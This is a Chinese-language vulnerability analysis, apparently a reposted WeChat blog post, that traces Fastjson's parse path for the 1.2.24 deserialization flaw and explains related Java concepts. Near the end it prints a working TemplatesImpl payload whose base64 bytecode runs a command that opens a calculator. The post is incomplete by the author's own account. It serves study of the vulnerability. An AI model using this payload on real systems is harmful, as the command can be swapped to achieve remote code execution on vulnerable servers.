知识前提:
Fastjson:FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。采用一种“假定有序快速匹配”的算法,能够支持将java bean序列化成JSON字符串,也能够将JSON字符串反序列化成Java bean。
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上可以说是标准的数据交换格式。已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。
Fastjson功能要点:这里帮运一下素十八大佬总结的fastjson的功能要点
1.使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
2.fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
3.使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
4.如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
5.fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 a_g_e,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _ 和 - 进行组合混淆。
6.fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。//本文中的_bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
7.默认情况下fastjson只会去反序列化public所修饰的属性,想要反序列化私有属性就得在用parseObject()时候设置Feature.SupportNonPublicField
Fastjson1.2.24反序列化漏洞分析:
漏洞产生的原因:首先,序列化的主要方法是toJsonString(),就是将对象转换为json字符串;反序列化一般是三个,分别是:
parse(String str):将json字符串转换为jsonObject对象;
parseObject(String str):将json字符串转换为jsonObject对象;
parseObject(String str,Class clazz):将json字符串转换为clazz指定类型的实体类对象。
TemplatesImpl攻击链分析:TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化。
代码尝试分析:
首先创建一个简单的测试类FastjsonTest.java
public class FastJsonTest {public String name; public String age; public FastJsonTest(){ }public void setName(String test) { System.out.println("name setter called"); this.name = test;}public String getName() { System.out.println("name getter called"); return this.name;}public String getAge(){ System.out.println("age getter called");System.out.println(this.age); return this.age;}public static void main(String[] args) {// Object obj = JSON.parse(// "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","name":"thisisname", "age":"thisisage"}"// );//// System.out.println(obj);////// Object obj2 = JSON.parseObject(//// "{"@type":"com.example.FastjsonVuln.FastJsonTest","name":"thisisname", "age":"thisisage"}"//// );String jsonString="{'name':'zhangsan','age':20}";JSON.parse(jsonString);FastJsonTest fjt = new FastJsonTest();FastJsonTest fjt1 = JSON.parseObject(jsonString,FastJsonTest.class);System.out.println(fjt1.getAge());JSONObject.parseObject(jsonString,FastJsonTest.class);// Object js = JSON.parse(jsonString);// String jsStr = JSON.toJSONString(fjt1);// System.out.println(JSON.parse(jsonString).getClass());// System.out.println(fjt1);// fjt1.toString();}// public String toString(){//// System.out.println("name:"+name+"age:"+age);//// return null;// }}
代码中创建了变量和一些set,get方法,并在main函数中定义一个json格式字符串,然后调用parse方法,由此开始追踪。
对parse进行调试开始,进入parse(String text)方法发现又去调用了另一个
此处发现参数中莫名多传入了一个DEFAULT_PARSER_FEATURE,这里的DEFAULT_PARSER_FEATURE是一个feature缺省默认的一个值,当然这个值是一系列的Feature值位或算法算出来的
--------------------------------------feature词法分析器(start)--------------------------------
备注:feature词法分析器,当我们对json字符串进行反序列化时,有时并不想完全按照json字符串默认的规则生成相应的Java对象,而有时我们手中的字符串亦不符合json字符串的格式,无法按照原有的规则进行解析。这时,我们需要修改反序列化的默认解析规则,而Fastjson恰好提供了这一功能。使用Fastjson进行反序列化的时候,有一个可选的参数features,用于对反序列化的过程和结果进行定制化。
代码中可以看到还有多种词法分析方式,举个典型的例子。AllowSingleQuotes特性决定parser是否允许单引号来包住属性名称和字符串值。那么用单引号替代双引号,也可以识别。
--------------------------------------feature词法分析器(end)---------------------------------
既然是默认值,所以parse接受的参数肯定还是以json规范格式数据的,这边继续往下面分析。
往下跟踪发现先进行了一个判断,text是否为空,正常肯定是有的了,我们直接继续。发现通过new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features)的带参构造函数创建了一个DefaultJSONParser对象。此处有一个ParserConfig.getGlobalInstance(),经过跟踪发现是返回的一个ParserConfig对象global。
-----------------------------------------ParserConfig(start)------------------------------------此处简单说一下ParserConfig,这个功能跟feature是很像的,但是更加强大,可以全局也可以局部,另外有个最重要的点就是后续会用到的:
AUTO_SUPPORT:表示自动类型反序列化是否打开。打开后,允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。--后续漏洞会用到
global:全局ParserConfig对象,对整个项目进行控制,包括是否使用asm、是否打开autotype等
asmEnable:设置asm是否可用,默认在安卓环境下为false(处于性能考虑),其他环境下为true
defaultClassLoader:默认的类加载器
另外还有一个比较关键的方法:
checkAutoType(String typeName, Class<?> expectClass, int features)
这个方法就是后续开发为了防止漏洞产生而设置的黑名单的接口。
-----------------------------------------ParserConfig(end)-------------------------------------
因此,这个全局变量先不着急,我们先看构造函数内部怎么往下的;
我们发现此处在调用构造函数后调用了新的构造函数,主要是为了传入new JSONScanner(input, length, features)这个对象,这里这样调肯定是有想法的,所以我们也跟进去。
跟进来看这里逻辑也很简单,关注点主要在next()这个方法,根据判断,this.text就是我当前传入的json格式数据,那么进入next()后,this.ch在第一次走完next方法肯定是获取的第一个值也就是’{’,此时回到if判断,这里做的判断主要是一个unicode编码的,’ufeff’一般指的是文件的一个开头,既然这里值已经不对,所以跳出判断,当前JSONScanner函数走完。
-----------------------------------------------解释一----------------------------------------
这里可能大家会有个疑惑,new JSONScanner(input, features)这里为啥走完JSONScanner函数却什么都没有返回,这里的点在于进入的是这个带参的构造类,这里就相当于new了一个JSONScanner对象在堆内存中,至于为啥这么做,后续就可以解释了。
-----------------------------------------------解释一----------------------------------------
现在回到DefaultJSONParser类,这里可以清楚的看到,JSONScanner对象到了哪里,很明显,一个名为lexer的JSONLexer对象引用了这个地址。
-----------------------------------------------解释二----------------------------------------
这里再做个解释,可能有人会问,这里JSONLexer对象为啥可以引用指向JSONScanner对象地址啊,这不是不行的吗?是的,之所以这里可以,我们可以看一下JSONScanner这个类的定义;
这么一看就明了了,JSONLexerBase实现了JSONLexer,JSONScanner继承了JSONLexerBase,所以,JSONLexer的对象引用可以指向JSONScanner的对象。
至于这里为啥这么写,主要是java多态的支持;另外就是接口无法实例化对象,只能引用实现类的对象。因为子类相当于也跟随父类被动实现了接口。
-----------------------------------------------解释二----------------------------------------
我们继续往下看:
很明显这里去调了这个getCurrent()方法;ok,停!这里记个点:
-----------------------------------------------解释三----------------------------------------
有人会发现点getCurrent()方法跟踪会跳进JSONLexer接口中;这个没关系,因为JSONLexerBase实现了JSONLexer,JSONScanner继承了JSONLexerBase,这个上面刚讲的。
这里可以很清楚地发现,JSONLexerBase类里实现了这个方法,而JSONScanner类中并没有重写,所以直接是继承了父类的原方法。所以此处lexer.getCurrent()相当于动态加载了父类里面的这个方法。
-----------------------------------------------解释三----------------------------------------
由此从刚刚的逻辑中看出会在if (ch == '{')这个循环中进行,继续发现循环中给((JSONLexerBase)lexer).token赋值了12,这个后面要用。这里是对lexer进行了一个强转,这样才能调用到JSONLexerBase中的token成员变量。
到此返回
发现这里用parser引用了new的DefaultJSONParser对象;继续往下,进入parser.parse()
这里跟踪过来发现是在做刚刚获取到的token的一个校验,至于这里的lexer.token(),JSONLexerBase里面做了实现,
由此可见就是直接返回了this.token,也就是12。这里也停一下:
-----------------------------------------------解释四----------------------------------------
这里也牵扯到继承和多态的问题,另外就是final修饰符的一些问题:
上面介绍过lexer是引用的JSONScanner对象,JSONScanner作为JSONLexerBase类的子类,所以肯定也是继承了他的方法,同理,在子类没有重写父类方法的情况下,会动态加载父类的方法。
这里还有另一个知识点,就是token()在父类中是用final修饰符修饰的,所以子类继承之后不能重写,这也是重点。
另外就是这个类在父类中还用了public定义的,所以可以被继承,如果是private,那么子类就无法继承这个方法。
-----------------------------------------------解释四----------------------------------------
Ok,继续
我们在随后的判断中发现了token=12的情况,继续跟踪:
这里明显是在new一个JSONObject对象,这里先简单看一下lexer.isEnabled()方法,跟踪之后发现是在选择一个按顺序读取内容的特性:Feature.OrderedField。那么继续跟踪下上面的方法
跟踪发现是JSONLexer接口的方法,那么可以想到实现类JSONLexerBase类中应该是实现了该方法
这里不做太多解释,子类JSONScanner也没有重写该方法,很明显也是利用之前的lexer对象来动态调用这个方法。先看一下框起来的地方,总结就是这里做了一个位运算,返回true或者false。那么就来判断一下,这里的是怎么进行运算的:第二个框中主要进行的是位运算,具体位运算怎么计算的可以通过度娘学习一下,这里就不多赘述。我们这里主要是关注这两个值怎么来的:
第一个feature:跟踪进入,发现是一个移位运算,这里也不多作解释,有兴趣可以了解一下。
这里发现Feature是一个枚举类,关于枚举类的定义,我们大致介绍一下:
-----------------------------------------枚举类Enum--------------------------------------
实际上在使用关键字enum创建枚举类型并编译后,编译器会为我们生成一个相关的类,这个类继承了Java API中的java.lang.Enum类,也就是说通过关键字enum创建枚举类型在编译后事实上也是一个类类型而且该类继承自java.lang.Enum类
因此枚举就是类, 是一种把对象定义到了内部的一个类,内部定义的每一个枚举值就是一个对象,这些枚举值就相当于是枚举类中私有构造类的一些实例。
-----------------------------------------枚举类Enum--------------------------------------
好了介绍完枚举类,大概知道这里一个用法;首先可以确定刚刚Feature.OrderedField的值为14,至于为何是14,继续往下看一下这个this.ordinal()方法:这是一个返回枚举常量序号的方法(一般是在枚举声明中的位置,其中初始常量序数为零),这里可以在Enum中发现这个Range注解,从0开始,到integer类型最大值。
那么为啥是14就很好理解了,因为Feature类下定义的枚举常量第15个就是OrderedField,既然是从0开始,那么就是OrderedField=14,所以至此,第一个值基本是出来了,结果就是对1这个值的二进制值进行移位运算,并且移位值是14,即2的14次方,经过运算为16384。
现在再看第二个值:this.features:这个值是之前Feature的一个缺省值也就是989;那么这个位运算就好得出结果了:是0,在经过判断确认返回的是false。那么这里可以得到结果了:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
这里是创建了一个默认初始容量为16的并且是无序的HashMap类型的JSONObject对象。
-----------------------------------------------解释五----------------------------------------
关于有序和无序,JSONObject对象一般是两种类型,LinkedHashMap(有序)和HashMap类型(无序),具体判断就是上面图中的判断方法。
一般默认parse方法的结果基本是调用无序的类型,parseObject方法,可以通过feature参数来改变,变成有序类型,一般是传入Feature.OrderedField。
至于这里初始化JSONObject对象时也传入了Feature.OrderedField为啥还是无序,是因为这里传入只是为了和传入的feature参数做一些运算得到一个boolean值来判断是否有序,需要有序还是无序的话还是需要传参的时候就传入刚刚的值,这样就会通过运算得到true,否则默认的DEFAULT_PARSER_FEATURE就是989,运算后就导致返回false。
-----------------------------------------------解释五----------------------------------------
接下来开始分析这里:这里传入了刚刚实例的object和fieldname。这里的fieldname是从这里传入的:
很明显这里传入的时一个空类型,因为我开始调用paser时没有传入需要序列化成什么类型的对象,所以这里调用了这个null。
我们继续分析:return this.parseObject((Map)object, fieldName)
到这里时我们需要先做一个梳理,防止有的数据想不起来怎么来的了:
this.lexer--这个就是开始创建的那个指向JSONScanner对象的引用地址
lexer.token--这个是一开始根据this.ch=’{’来判断得到的12
this.ch--当前的ch值已经在前面赋值token的时候又调用了一次next方法,所以现在应该是lexer.text的第二个值,也就是我们传入的参数的第二位也就是’’’单引号这个值
梳理完毕那么可以继续往下分析:
那么根据token可以发现进入的是这个else的判断里,我们继续往下:
这里先做了一些初始化,先不管,主要是看下while循环里的:
先是lexer.skipWhitespace();
这个方法是JSONLexer里面的一个接口,具体是在JSONLexerBase里面被实现了,虽然lexer对象指向的是JSONScanner类型的,但是前面分析过了这个是JSONLexerBase的子类,也没有重写该方法,所以可以直接自动加载,可以看到
这里对ch值进行了判断;我们继续:这里主要是因为第一次分析,传入的参数没按照一般用转义双引号,直接写错了,传的参数是"{'name':'zhangsan','age':20,'sex':1}",不是json格式字符串,目前来看也没啥问题。但是用json格式字符串也没啥问题"{"name":"zhangsan","age":20,"sex":1}";从结果来看的话也没啥区别,有待验证。
后续这一块基本上就是在进行不停的取参数进行jsonobject对象填值,这里就先不详细赘述了,因为字符串很长要走很久。
现在考虑正题,传参修改,带入反序列化成的对象类型,也就是开始测试TemplatesImpl利用链的思路:
那么这里入参可以写成我们需要的payload:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],
"_name": "su18",
"_tfactory": {},
"_outputProperties": {},
}
这是一个弹计算器的payload。
在此之前我们先传入一个自己写的测试类的测试:
"{"@type":"com.example.FastjsonVuln.FastJsonTest","name":"thisisname","age":"thisisage"}"
继续分析:
由于本身fastjson反序列化可写的较多,先暂停一会,后续继续跟着写,各位看官老爷轻喷~
原文始发于微信公众号(我不懂安全):FASTJSON反序列化漏洞合集分析小记(一)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论